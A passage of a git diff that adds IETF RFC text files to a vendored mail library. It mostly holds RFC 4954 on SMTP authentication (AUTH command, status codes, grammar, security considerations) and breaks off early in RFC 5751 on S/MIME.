to the MAIL FROM command .....................9 + 5.1. Examples ..................................................10 + 6. Status Codes ...................................................11 + 7. Additional requirements on servers .............................12 + 8. Formal Syntax ..................................................13 + 9. Security Considerations ........................................14 + 10. IANA Considerations ...........................................15 + 11. Normative References ..........................................15 + 12. Informative References ........................................16 + 13. Acknowledgments ...............................................17 + 14. Additional Requirements When Using SASL PLAIN over TLS ........17 + 15. Changes since RFC 2554 ........................................18 + +1. Introduction + + This document defines a Simple Mail Transport Protocol (SMTP) + extension whereby an SMTP client may indicate an authentication + mechanism to the server, perform an authentication protocol exchange, + optionally negotiate a security layer for subsequent protocol + interactions during this session and, during a mail transaction, + optionally specify a mailbox associated with the identity that + submitted the message to the mail delivery system. + + This extension includes a profile of the Simple Authentication and + Security Layer (SASL) for SMTP. + + When compared to RFC 2554, this document deprecates use of the 538 + response code, adds a new Enhanced Status Code, adds a requirement to + support SASLprep profile for preparing authorization identities, + recommends use of RFC 3848 transmission types in the Received trace + header field, and clarifies interaction with SMTP PIPELINING + [PIPELINING] extension. + +2. How to Read This Document + + The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", + "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this + document are to be interpreted as described in [KEYWORDS]. + + In examples, "C:" and "S:" indicate lines sent by the client and + server, respectively. + + + +Siemborski & Melnikov Standards Track [Page 2] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + +3. The Authentication Service Extension + + 1. The name of this [SMTP] service extension is "Authentication". + + 2. The EHLO keyword value associated with this extension is "AUTH". + + 3. The AUTH EHLO keyword contains as a parameter a space-separated + list of the names of available [SASL] mechanisms. The list of + available mechanisms MAY change after a successful STARTTLS + command [SMTP-TLS]. + + 4. A new [SMTP] verb "AUTH" is defined. + + 5. An optional parameter using the keyword "AUTH" is added to the + MAIL FROM command, and extends the maximum line length of the + MAIL FROM command by 500 characters. + + 6. This extension is appropriate for the submission protocol + [SUBMIT]. + +4. The AUTH Command + + AUTH mechanism [initial-response] + + Arguments: + mechanism: A string identifying a [SASL] authentication + mechanism. + + initial-response: An optional initial client response. If + present, this response MUST be encoded as described in Section + 4 of [BASE64] or contain a single character "=". + + Restrictions: + After an AUTH command has been successfully completed, no more + AUTH commands may be issued in the same session. After a + successful AUTH command completes, a server MUST reject any + further AUTH commands with a 503 reply. + + The AUTH command is not permitted during a mail transaction. + An AUTH command issued during a mail transaction MUST be + rejected with a 503 reply. + + Discussion: + The AUTH command initiates a [SASL] authentication exchange + between the client and the server. The client identifies the + SASL mechanism to use with the first parameter of the AUTH + command. If the server supports the requested authentication + mechanism, it performs the SASL exchange to authenticate the + + + +Siemborski & Melnikov Standards Track [Page 3] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + + user. Optionally, it also negotiates a security layer for + subsequent protocol interactions during this session. If the + requested authentication mechanism is invalid (e.g., is not + supported or requires an encryption layer), the server rejects + the AUTH command with a 504 reply. If the server supports the + [ESMTP-CODES] extension, it SHOULD return a 5.5.4 enhanced + response code. + + The SASL authentication exchange consists of a series of + server challenges and client responses that are specific to + the chosen [SASL] mechanism. + + A server challenge is sent as a 334 reply with the text part + containing the [BASE64] encoded string supplied by the SASL + mechanism. This challenge MUST NOT contain any text other + than the BASE64 encoded challenge. + + A client response consists of a line containing a [BASE64] + encoded string. If the client wishes to cancel the + authentication exchange, it issues a line with a single "*". + If the server receives such a response, it MUST reject the + AUTH command by sending a 501 reply. + + The optional initial response argument to the AUTH command is + used to save a round-trip when using authentication mechanisms + that support an initial client response. If the initial + response argument is omitted and the chosen mechanism requires + an initial client response, the server MUST proceed as defined + in Section 5.1 of [SASL]. In SMTP, a server challenge that + contains no data is defined as a 334 reply with no text part. + Note that there is still a space following the reply code, so + the complete response line is "334 ". + + Note that the AUTH command is still subject to the line length + limitations defined in [SMTP]. If use of the initial response + argument would cause the AUTH command to exceed this length, + the client MUST NOT use the initial response parameter (and + instead proceed as defined in Section 5.1 of [SASL]). + + If the client is transmitting an initial response of zero + length, it MUST instead transmit the response as a single + equals sign ("="). This indicates that the response is + present, but contains no data. + + If the client uses an initial-response argument to the AUTH + command with a SASL mechanism in which the client does not + begin the authentication exchange, the server MUST reject the + + + + +Siemborski & Melnikov Standards Track [Page 4] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + + AUTH command with a 501 reply. Servers using the enhanced + status codes extension [ESMTP-CODES] SHOULD return an enhanced + status code of 5.7.0 in this case. + + If the server cannot [BASE64] decode any client response, it + MUST reject the AUTH command with a 501 reply (and an enhanced + status code of 5.5.2). If the client cannot BASE64 decode any + of the server's challenges, it MUST cancel the authentication + using the "*" response. In particular, servers and clients + MUST reject (and not ignore) any character not explicitly + allowed by the BASE64 alphabet, and MUST reject any sequence + of BASE64 characters that contains the pad character ('=') + anywhere other than the end of the string (e.g., "=AAA" and + "AAA=BBB" are not allowed). + + Note that these [BASE64] strings can be much longer than + normal SMTP commands. Clients and servers MUST be able to + handle the maximum encoded size of challenges and responses + generated by their supported authentication mechanisms. This + requirement is independent of any line length limitations the + client or server may have in other parts of its protocol + implementation. (At the time of writing of this document, + 12288 octets is considered to be a sufficient line length + limit for handling of deployed authentication mechanisms.) + If, during an authentication exchange, the server receives a + line that is longer than the server's authentication buffer, + the server fails the AUTH command with the 500 reply. Servers + using the enhanced status codes extension [ESMTP-CODES] SHOULD + return an enhanced status code of 5.5.6 in this case. + + The authorization identity generated by this [SASL] exchange + is a "simple username" (in the sense defined in [SASLprep]), + and both client and server SHOULD (*) use the [SASLprep] + profile of the [StringPrep] algorithm to prepare these names + for transmission or comparison. If preparation of the + authorization identity fails or results in an empty string + (unless it was transmitted as the empty string), the server + MUST fail the authentication. + + (*) Note: Future revision of this specification may change this + requirement to MUST. Currently, the SHOULD is used in order to + avoid breaking the majority of existing implementations. + + If the server is unable to authenticate the client, it SHOULD reject + the AUTH command with a 535 reply unless a more specific error code + is appropriate. Should the client successfully complete the + exchange, the SMTP server issues a 235 reply. (Note that the SMTP + protocol doesn't support the SASL feature of returning additional + + + +Siemborski & Melnikov Standards Track [Page 5] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + + data with a successful outcome.) These status codes, along with + others defined by this extension, are discussed in Section 6 of this + document. + + If a security layer is negotiated during the SASL exchange, it takes + effect for the client on the octet immediately following the CRLF + that concludes the last response generated by the client. For the + server, it takes effect immediately following the CRLF of its success + reply. + + When a security layer takes effect, the SMTP protocol is reset to the + initial state (the state in SMTP after a server issues a 220 service + ready greeting). The server MUST discard any knowledge obtained from + the client, such as the EHLO argument, which was not obtained from + the SASL negotiation itself. Likewise, the client MUST discard any + knowledge obtained from the server, such as the list of SMTP service + extensions, which was not obtained from the SASL negotiation itself. + (Note that a client MAY compare the advertised SASL mechanisms before + and after authentication in order to detect an active down- + negotiation attack). + + The client SHOULD send an EHLO command as the first command after a + successful SASL negotiation that results in the enabling of a + security layer. + + When an entity (whether it is the client or the server end) is + sending data, and both [TLS] and SASL security layers are in effect, + the TLS encoding MUST be applied after the SASL encoding, regardless + of the order in which the layers were negotiated. + + The service name specified by this protocol's profile of SASL is + "smtp". This service name is also to be used for the [SUBMIT] + protocol. + + If an AUTH command fails, the client MAY proceed without + authentication. Alternatively, the client MAY try another + authentication mechanism or present different credentials by issuing + another AUTH + + Note: A server implementation MUST implement a configuration in which + it does NOT permit any plaintext password mechanisms, unless either + the STARTTLS [SMTP-TLS] command has been negotiated or some other + mechanism that protects the session from password snooping has been + provided. Server sites SHOULD NOT use any configuration which + permits a plaintext password mechanism without such a protection + mechanism against password snooping. + + + + + +Siemborski & Melnikov Standards Track [Page 6] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + + To ensure interoperability, client and server implementations of this + extension MUST implement the [PLAIN] SASL mechanism running over TLS + [TLS] [SMTP-TLS]. See also Section 15 for additional requirements on + implementations of [PLAIN] over [TLS]. + + Note that many existing client and server implementations implement + CRAM-MD5 [CRAM-MD5] SASL mechanism. In order to ensure + interoperability with deployed software, new implementations MAY + implement it; however, implementations should be aware that this SASL + mechanism doesn't provide any server authentication. Note that at + the time of writing of this document the SASL Working Group is + working on several replacement SASL mechanisms that provide server + authentication and other features. + + When the AUTH command is used together with the [PIPELINING] + extension, it MUST be the last command in a pipelined group of + commands. The only exception to this rule is when the AUTH command + contains an initial response for a SASL mechanism that allows the + client to send data first, the SASL mechanism is known to complete in + one round-trip, and a security layer is not negotiated by the client. + Two examples of such SASL mechanisms are PLAIN [PLAIN] and EXTERNAL + [SASL]. + +4.1. Examples + + Here is an example of a client attempting AUTH using the [PLAIN] SASL + mechanism under a TLS layer, and making use of the initial client + response: + + S: 220-smtp.example.com ESMTP Server + C: EHLO client.example.com + S: 250-smtp.example.com Hello client.example.com + S: 250-AUTH GSSAPI DIGEST-MD5 + S: 250-ENHANCEDSTATUSCODES + S: 250 STARTTLS + C: STARTTLS + S: 220 Ready to start TLS + ... TLS negotiation proceeds, further commands + protected by TLS layer ... + C: EHLO client.example.com + S: 250-smtp.example.com Hello client.example.com + S: 250 AUTH GSSAPI DIGEST-MD5 PLAIN + C: AUTH PLAIN dGVzdAB0ZXN0ADEyMzQ= + S: 235 2.7.0 Authentication successful + + Here is another client that is attempting AUTH PLAIN under a TLS + layer, this time without the initial response. Parts of the + negotiation before the TLS layer was established have been omitted: + + + +Siemborski & Melnikov Standards Track [Page 7] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + + ... TLS negotiation proceeds, further commands + protected by TLS layer ... + C: EHLO client.example.com + S: 250-smtp.example.com Hello client.example.com + S: 250 AUTH GSSAPI DIGEST-MD5 PLAIN + C: AUTH PLAIN + (note: there is a single space following the 334 + on the following line) + S: 334 + C: dGVzdAB0ZXN0ADEyMzQ= + S: 235 2.7.0 Authentication successful + + Here is an example using CRAM-MD5 [CRAM-MD5], a mechanism in which + the client does not begin the authentication exchange, and includes a + server challenge: + + S: 220-smtp.example.com ESMTP Server + C: EHLO client.example.com + S: 250-smtp.example.com Hello client.example.com + S: 250-AUTH DIGEST-MD5 CRAM-MD5 + S: 250-ENHANCEDSTATUSCODES + S: 250 STARTTLS + C: AUTH CRAM-MD5 + S: 334 PDQxOTI5NDIzNDEuMTI4Mjg0NzJAc291cmNlZm91ci5hbmRyZXcuY211LmVk + dT4= + C: cmpzMyBlYzNhNTlmZWQzOTVhYmExZWM2MzY3YzRmNGI0MWFjMA== + S: 235 2.7.0 Authentication successful + + Here is an example of a client attempting AUTH EXTERNAL under TLS, + using the derived authorization ID (and thus a zero-length initial + client response). + + S: 220-smtp.example.com ESMTP Server + C: EHLO client.example.com + S: 250-smtp.example.com Hello client.example.com + S: 250-AUTH GSSAPI DIGEST-MD5 + S: 250-ENHANCEDSTATUSCODES + S: 250 STARTTLS + C: STARTTLS + S: 220 Ready to start TLS + ... TLS negotiation proceeds, further commands + protected by TLS layer ... + C: EHLO client.example.com + S: 250-smtp.example.com Hello client.example.com + S: 250 AUTH EXTERNAL GSSAPI DIGEST-MD5 PLAIN + C: AUTH EXTERNAL = + S: 235 2.7.0 Authentication successful + + + + +Siemborski & Melnikov Standards Track [Page 8] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + +5. The AUTH Parameter to the MAIL FROM command + + AUTH=mailbox + + Arguments: + A (see Section 4.1.2 of [SMTP]) that is associated + with the identity that submitted the message to the delivery + system, or the two character sequence "<>" indicating such an + identity is unknown or insufficiently authenticated. To comply + with restrictions imposed on ESMTP parameters, the is + encoded inside an xtext. The syntax of an xtext is described in + Section 4 of [ESMTP-DSN]. + + Note: + For the purposes of this discussion, "authenticated identity" + refers to the identity (if any) derived from the authorization + identity of previous AUTH command, while the terms "authorized + identity" and "supplied " refer to the sender identity + that is being associated with a particular message. Note that + one authenticated identity may be able to identify messages as + being sent by any number of authorized identities within a + single session. For example, this may be the case when an SMTP + server (one authenticated identity) is processing its queue + (many messages with distinct authorized identities). + + Discussion: + The optional AUTH parameter to the MAIL FROM command allows + cooperating agents in a trusted environment to communicate the + authorization identity associated with individual messages. + + If the server trusts the authenticated identity of the client to + assert that the message was originally submitted by the supplied + , then the server SHOULD supply the same in + an AUTH parameter when relaying the message to any other server + which supports the AUTH extension. + + For this reason, servers that advertise support for this + extension MUST support the AUTH parameter to the MAIL FROM + command even when the client has not authenticated itself to the + server. + + A MAIL FROM parameter of AUTH=<> indicates that the original + submitter of the message is not known. The server MUST NOT + treat the message as having been originally submitted by the + authenticated identity that resulted from the AUTH command. + + + + + + +Siemborski & Melnikov Standards Track [Page 9] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + + If the AUTH parameter to the MAIL FROM command is not supplied, + the client has authenticated, and the server believes the + message is an original submission, the server MAY generate a + from the user's authenticated identity for use in an + AUTH parameter when relaying the message to any server which + supports the AUTH extension. The generated is + implementation specific, but it MUST conform to the syntax of + [SMTP]. If the implementation cannot generate a valid + , it MUST transmit AUTH=<> when relaying this message. + + If the server does not sufficiently trust the authenticated + identity of the client, or if the client is not authenticated, + then the server MUST behave as if the AUTH=<> parameter was + supplied. The server MAY, however, write the value of any + supplied AUTH parameter to a log file. + + If an AUTH=<> parameter was supplied, either explicitly or due + to the requirement in the previous paragraph, then the server + MUST supply the AUTH=<> parameter when relaying the message to + any server which it has authenticated to using the AUTH + extension. + + A server MAY treat expansion of a mailing list as a new + submission, setting the AUTH parameter to the mailing list + address or mailing list administration address when relaying the + message to list subscribers. + + Note that an implementation which is hard-coded to treat all + clients as being insufficiently trusted is compliant with this + specification. In that case, the implementation does nothing + more than parse and discard syntactically valid AUTH parameters + to the MAIL FROM command, and supply AUTH=<> parameters to any + servers that it authenticates to. + +5.1. Examples + + An example where the original identity of the sender is trusted and + known: + + C: MAIL FROM: AUTH=e+3Dmc2@example.com + S: 250 OK + + One example where the identity of the sender is not trusted or is + otherwise being suppressed by the client: + + C: MAIL FROM: AUTH=<> + S: 250 OK + + + + +Siemborski & Melnikov Standards Track [Page 10] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + +6. Status Codes + + The following error codes may be used to indicate various success or + failure conditions. Servers that return enhanced status codes + [ESMTP-CODES] SHOULD use the enhanced codes suggested here. + + 235 2.7.0 Authentication Succeeded + + This response to the AUTH command indicates that the authentication + was successful. + + 432 4.7.12 A password transition is needed + + This response to the AUTH command indicates that the user needs to + transition to the selected authentication mechanism. This is + typically done by authenticating once using the [PLAIN] + authentication mechanism. The selected mechanism SHOULD then work + for authentications in subsequent sessions. + + 454 4.7.0 Temporary authentication failure + + This response to the AUTH command indicates that the authentication + failed due to a temporary server failure. The client SHOULD NOT + prompt the user for another password in this case, and should instead + notify the user of server failure. + + 534 5.7.9 Authentication mechanism is too weak + + This response to the AUTH command indicates that the selected + authentication mechanism is weaker than server policy permits for + that user. The client SHOULD retry with a new authentication + mechanism. + + 535 5.7.8 Authentication credentials invalid + + This response to the AUTH command indicates that the authentication + failed due to invalid or insufficient authentication credentials. In + this case, the client SHOULD ask the user to supply new credentials + (such as by presenting a password dialog box). + + 500 5.5.6 Authentication Exchange line is too long + + This response to the AUTH command indicates that the authentication + failed due to the client sending a [BASE64] response that is longer + than the maximum buffer size available for the currently selected + SASL mechanism. + + + + + +Siemborski & Melnikov Standards Track [Page 11] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + + 530 5.7.0 Authentication required + + This response SHOULD be returned by any command other than AUTH, + EHLO, HELO, NOOP, RSET, or QUIT when server policy requires + authentication in order to perform the requested action and + authentication is not currently in force. + + 538 5.7.11 Encryption required for requested authentication + mechanism + + This response to the AUTH command indicates that the selected + authentication mechanism may only be used when the underlying SMTP + connection is encrypted. Note that this response code is documented + here for historical purposes only. Modern implementations SHOULD NOT + advertise mechanisms that are not permitted due to lack of + encryption, unless an encryption layer of sufficient strength is + currently being employed. + + This document adds several new enhanced status codes to the list + defined in [ENHANCED]: + + The following 3 Enhanced Status Codes were defined above: + + 5.7.8 Authentication credentials invalid + 5.7.9 Authentication mechanism is too weak + 5.7.11 Encryption required for requested authentication mechanism + + X.5.6 Authentication Exchange line is too long + + This enhanced status code SHOULD be returned when the server fails + the AUTH command due to the client sending a [BASE64] response which + is longer than the maximum buffer size available for the currently + selected SASL mechanism. This is useful for both permanent and + persistent transient errors. + +7. Additional Requirements on Servers + + As described in Section 4.4 of [SMTP], an SMTP server that receives a + message for delivery or further processing MUST insert the + "Received:" header field at the beginning of the message content. + This document places additional requirements on the content of a + generated "Received:" header field. Upon successful authentication, + a server SHOULD use the "ESMTPA" or the "ESMTPSA" [SMTP-TT] (when + appropriate) keyword in the "with" clause of the Received header + field. + + + + + + +Siemborski & Melnikov Standards Track [Page 12] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + +8. Formal Syntax + + The following syntax specification uses the Augmented Backus-Naur + Form notation as specified in [ABNF]. Non-terminals referenced but + not defined below are as defined by [ABNF] or [SASL]. The non- + terminal is defined in [SMTP]. + + Except as noted otherwise, all alphabetic characters are case- + insensitive. The use of upper or lower case characters to define + token strings is for editorial clarity only. Implementations MUST + accept these strings in a case-insensitive fashion. + + hexchar = "+" HEXDIG HEXDIG + + xchar = %x21-2A / %x2C-3C / %x3E-7E + ;; US-ASCII except for "+", "=", SP, and CTL + + xtext = *(xchar / hexchar) + ;; non-US-ASCII is only allowed as hexchar + + auth-command = "AUTH" SP sasl-mech [SP initial-response] + *(CRLF [base64]) [CRLF cancel-response] + CRLF + ;; is defined in [SASL] + + auth-param = "AUTH=" xtext + ;; Parameter to the MAIL FROM command. + ;; This non-terminal complies with + ;; syntax defined by esmtp-param [SMTP]. + ;; + ;; The decoded form of the xtext MUST be + ;; either a or the two + ;; characters "<>" + + base64 = base64-terminal / + ( 1*(4base64-char) [base64-terminal] ) + + base64-char = ALPHA / DIGIT / "+" / "/" + ;; Case-sensitive + + base64-terminal = (2base64-char "==") / (3base64-char "=") + + continue-req = "334" SP [base64] CRLF + ;; Intermediate response to the AUTH + ;; command. + ;; This non-terminal complies with + ;; syntax defined by Reply-line [SMTP]. + + + + +Siemborski & Melnikov Standards Track [Page 13] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + + initial-response= base64 / "=" + + cancel-response = "*" + +9. Security Considerations + + Security issues are discussed throughout this memo. + + If a client uses this extension to get an encrypted tunnel through an + insecure network to a cooperating server, it needs to be configured + to never send mail to that server when the connection is not mutually + authenticated and encrypted. Otherwise, an attacker could steal the + client's mail by hijacking the [SMTP] connection and either + pretending the server does not support the Authentication extension + or causing all AUTH commands to fail. + + Before the [SASL] negotiation has begun, any protocol interactions + are performed in the clear and may be modified by an active attacker. + For this reason, clients and servers MUST discard any knowledge + obtained prior to the start of the SASL negotiation upon the + establishment of a security layer. + + This mechanism does not protect the TCP port, so an active attacker + may redirect a relay connection attempt (i.e., a connection between + two Mail Transfer Agents (MTAs)) to the submission port [SUBMIT]. + The AUTH=<> parameter prevents such an attack from causing a relayed + message and, in the absence of other envelope authentication, from + picking up the authentication of the relay client. + + A message submission client may require the user to authenticate + whenever a suitable [SASL] mechanism is advertised. Therefore, it + may not be desirable for a submission server [SUBMIT] to advertise a + SASL mechanism when use of that mechanism grants the clients no + benefits over anonymous submission. + + Servers MAY implement a policy whereby the connection is dropped + after a number of failed authentication attempts. If they do so, + they SHOULD NOT drop the connection until at least 3 attempts to + authenticate have failed. + + If an implementation supports SASL mechanisms that are vulnerable to + passive eavesdropping attacks (such as [PLAIN]), then the + implementation MUST support at least one configuration where these + SASL mechanisms are not advertised or used without the presence of an + external security layer such as [TLS]. + + + + + + +Siemborski & Melnikov Standards Track [Page 14] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + + This extension is not intended to replace or be used instead of end- + to-end message signature and encryption systems such as [S/MIME] or + [PGP]. This extension addresses a different problem than end-to-end + systems; it has the following key differences: + + 1. It is generally useful only within a trusted enclave. + + 2. It protects the entire envelope of a message, not just the + message's body. + + 3. It authenticates the message submission, not authorship of the + message content. + + 4. When mutual authentication is used along with a security layer, + it can give the sender some assurance that the message was + successfully delivered to the next hop. + + Additional security considerations are mentioned in the [SASL] + specification. Additional security considerations specific to a + particular SASL mechanism are described in the relevant + specification. Additional security considerations for [PLAIN] over + [TLS] are mentioned in Section 15 of this document. + +10. IANA Considerations + + IANA updated the entry for the "smtp" SASL protocol name to point at + this document. + + IANA updated the registration of the Authentication SMTP service + extension as defined in Section 3 of this document. This registry is + currently located at . + +11. Normative References + + [ABNF] Crocker, D. and P. Overell, "Augmented BNF for Syntax + Specifications: ABNF", RFC 4234, October 2005. + + [BASE64] Josefsson, S., "The Base16, Base32, and Base64 Data + Encodings", RFC 4648, October 2006. + + [ESMTP-CODES] Freed, N., "SMTP Service Extension for Returning + Enhanced Error Codes", RFC 2034, October 1996. + + [ENHANCED] Vaudreuil, G., "Enhanced Mail System Status Codes", RFC + 3463, January 2003. + + + + + +Siemborski & Melnikov Standards Track [Page 15] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + + [ESMTP-DSN] Moore, K., "Simple Mail Transfer Protocol (SMTP) + Service Extension Delivery Status Notifications + (DSNs)", RFC 3461, January 2003. + + [KEYWORDS] Bradner, S., "Key words for use in RFCs to Indicate + Requirement Levels", BCP 14, RFC 2119, March 1997. + + [SASL] Melnikov, A. and K. Zeilenga, "Simple Authentication + and Security Layer (SASL)", RFC 4422, June 2006. + + [SASLprep] Zeilenga, K., "SASLprep: Stringprep Profile for User + Names and Passwords", RFC 4013, February 2005. + + [SMTP] Klensin, J., "Simple Mail Transfer Protocol", RFC 2821, + April 2001. + + [SMTP-TLS] Hoffman, P., "SMTP Service Extension for Secure SMTP + over Transport Layer Security", RFC 3207, February + 2002. + + [StringPrep] Hoffman, P. and M. Blanchet, "Preparation of + Internationalized Strings ("stringprep")", RFC 3454, + December 2002. + + [SUBMIT] Gellens, R. and J. Klensin, "Message Submission for + Mail", RFC 4409, April 2006. + + [SMTP-TT] Newman, C., "ESMTP and LMTP Transmission Types + Registration", RFC 3848, July 2004. + + [PLAIN] Zeilenga, K., Ed., "The PLAIN Simple Authentication and + Security Layer (SASL) Mechanism", RFC 4616, August + 2006. + + [X509] Housley, R., Polk, W., Ford, W., and D. Solo, "Internet + X.509 Public Key Infrastructure Certificate and + Certificate Revocation List (CRL) Profile", RFC 3280, + April 2002. + +12. Informative References + + [PGP] Elkins, M., "MIME Security with Pretty Good Privacy + (PGP)", RFC 2015, October 1996. + + [S/MIME] Ramsdell, B., Ed., "Secure/Multipurpose Internet Mail + Extensions (S/MIME) Version 3.1 Message Specification", + RFC 3851, July 2004. + + + + +Siemborski & Melnikov Standards Track [Page 16] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + + [TLS] Dierks, T. and E. Rescorla, "The Transport Layer + Security (TLS) Protocol Version 1.1", RFC 4346, April + 2006. + + [PIPELINING] Freed, N., "SMTP Service Extension for Command + Pipelining", STD 60, RFC 2920, September 2000. + + [CRAM-MD5] Klensin, J., Catoe, R., and P. Krumviede, "IMAP/POP + AUTHorize Extension for Simple Challenge/Response", RFC + 2195, September 1997. + +13. Acknowledgments + + The editors would like to acknowledge the contributions of John Myers + and other contributors to RFC 2554, on which this document draws from + heavily. + + The editors would also like to thank Ken Murchison, Mark Crispin, + Chris Newman, David Wilson, Dave Cridland, Frank Ellermann, Ned + Freed, John Klensin, Tony Finch, Abhijit Menon-Sen, Philip Guenther, + Sam Hartman, Russ Housley, Cullen Jennings, and Lisa Dusseault for + the time they devoted to reviewing of this document and/or for the + comments received. + +14. Additional Requirements When Using SASL PLAIN over TLS + + This section is normative for SMTP implementations that support SASL + [PLAIN] over [TLS]. + + If an SMTP client is willing to use SASL PLAIN over TLS to + authenticate to the SMTP server, the client verifies the server + certificate according to the rules of [X509]. If the server has not + provided any certificate, or if the certificate verification fails, + the client MUST NOT attempt to authenticate using the SASL PLAIN + mechanism. + + After a successful [TLS] negotiation, the client MUST check its + understanding of the server hostname against the server's identity as + presented in the server Certificate message, in order to prevent + man-in-the-middle attacks. If the match fails, the client MUST NOT + attempt to authenticate using the SASL PLAIN mechanism. Matching is + performed according to the following rules: + + The client MUST use the server hostname it used to open the + connection as the value to compare against the server name as + expressed in the server certificate. The client MUST NOT use + + + + + +Siemborski & Melnikov Standards Track [Page 17] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + + any form of the server hostname derived from an insecure remote + source (e.g., insecure DNS lookup). CNAME canonicalization is + not done. + + If a subjectAltName extension of type dNSName is present in the + certificate, it SHOULD be used as the source of the server's + identity. + + Matching is case-insensitive. + + A "*" wildcard character MAY be used as the leftmost name + component in the certificate. For example, *.example.com would + match a.example.com, foo.example.com, etc., but would not match + example.com. + + If the certificate contains multiple names (e.g., more than one + dNSName field), then a match with any one of the fields is + considered acceptable. + +15. Changes since RFC 2554 + + 1. Clarified that servers MUST support the use of the AUTH=mailbox + parameter to MAIL FROM, even when the client is not + authenticated. + + 2. Clarified the initial-client-send requirements, and give + additional examples. + + 3. Updated references to newer versions of various specifications. + + 4. Required SASL PLAIN (over TLS) as mandatory-to-implement. + + 5. Clarified that the mechanism list can change. + + 6. Deprecated the use of the 538 response code. + + 7. Added the use of the SASLprep profile for preparing authorization + identities. + + 8. Substantial cleanup of response codes and indicated suggested + enhanced response codes. Also indicated what response codes + should result in a client prompting the user for new credentials. + + 9. Updated ABNF section to use RFC 4234. + + 10. Clarified interaction with SMTP PIPELINING extension. + + 11. Added a reference to RFC 3848. + + + +Siemborski & Melnikov Standards Track [Page 18] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + + 12. Added a new Enhanced Status Code for "authentication line too + long" case. + + 13. Other general editorial clarifications. + +Editors' Addresses + + Robert Siemborski + Google, Inc. + 1600 Ampitheatre Parkway + Mountain View, CA 94043, USA + + Phone: +1 650 623 6925 + EMail: robsiemb@google.com + + + Alexey Melnikov + Isode Limited + 5 Castle Business Village, 36 Station Road, + Hampton, Middlesex, TW12 2BX, UK + + EMail: Alexey.Melnikov@isode.com + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Siemborski & Melnikov Standards Track [Page 19] + +RFC 4954 SMTP Service Extension for Authentication July 2007 + + +Full Copyright Statement + + Copyright (C) The IETF Trust (2007). + + This document is subject to the rights, licenses and restrictions + contained in BCP 78, and except as set forth therein, the authors + retain all their rights. + + This document and the information contained herein are provided on an + "AS IS" basis and THE CONTRIBUTOR, THE ORGANIZATION HE/SHE REPRESENTS + OR IS SPONSORED BY (IF ANY), THE INTERNET SOCIETY, THE IETF TRUST AND + THE INTERNET ENGINEERING TASK FORCE DISCLAIM ALL WARRANTIES, EXPRESS + OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF + THE INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED + WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + +Intellectual Property + + The IETF takes no position regarding the validity or scope of any + Intellectual Property Rights or other rights that might be claimed to + pertain to the implementation or use of the technology described in + this document or the extent to which any license under such rights + might or might not be available; nor does it represent that it has + made any independent effort to identify any such rights. Information + on the procedures with respect to rights in RFC documents can be + found in BCP 78 and BCP 79. + + Copies of IPR disclosures made to the IETF Secretariat and any + assurances of licenses to be made available, or the result of an + attempt made to obtain a general license or permission for the use of + such proprietary rights by implementers or users of this + specification can be obtained from the IETF on-line IPR repository at + http://www.ietf.org/ipr. + + The IETF invites any interested party to bring to its attention any + copyrights, patents or patent applications, or other proprietary + rights that may cover technology that may be required to implement + this standard. Please address the information to the IETF at + ietf-ipr@ietf.org. + +Acknowledgement + + Funding for the RFC Editor function is currently provided by the + Internet Society. + + + + + + + +Siemborski & Melnikov Standards Track [Page 20] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc5751.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc5751.txt new file mode 100644 index 00000000..8d1dd218 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc5751.txt @@ -0,0 +1,2523 @@ + + + + + + +Internet Engineering Task Force (IETF) B. Ramsdell +Request for Comments: 5751 Brute Squad Labs +Obsoletes: 3851 S. Turner +Category: Standards Track IECA +ISSN: 2070-1721 January 2010 + + + Secure/Multipurpose Internet Mail Extensions (S/MIME) Version 3.2 + Message Specification + +Abstract + + This document defines Secure/Multipurpose Internet Mail Extensions + (S/MIME) version 3.2. S/MIME provides a consistent way to send and + receive secure MIME data. Digital signatures provide authentication, + message integrity, and non-repudiation with proof of origin. + Encryption provides data confidentiality. Compression can be used to + reduce data size. This document obsoletes RFC 3851. + +Status of This Memo + + This is an Internet Standards Track document. + + This document is a product of the Internet Engineering Task Force + (IETF). It represents the consensus of the IETF community. It has + received public review and has been approved for publication by + the Internet Engineering Steering Group (IESG). Further + information on Internet Standards is available in Section 2 of + RFC 5741. + + Information about the current status of this document, any + errata, and how to provide feedback on it may be obtained at + http://www.rfc-editor.org/info/rfc5751. + + + + + + + + + + + + + + + + + + +Ramsdell & Turner Standards Track [Page 1] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + +Copyright Notice + + Copyright (c) 2010 IETF Trust and the persons identified as the + document authors. All rights reserved. + + This document is subject to BCP 78 and the IETF Trust's Legal + Provisions Relating to IETF Documents + (http://trustee.ietf.org/license-info) in effect on the date of + publication of this document. Please review these documents + carefully, as they describe your rights and restrictions with respect + to this document. Code Components extracted from this document must + include Simplified BSD License text as described in Section 4.e of + the Trust Legal Provisions and are provided without warranty as + described in the Simplified BSD License. + + This document may contain material from IETF Documents or IETF + Contributions published or made publicly available before November + 10, 2008. The person(s) controlling the copyright in some of this + material may not have granted the IETF Trust the right to allow + modifications of such material outside the IETF Standards 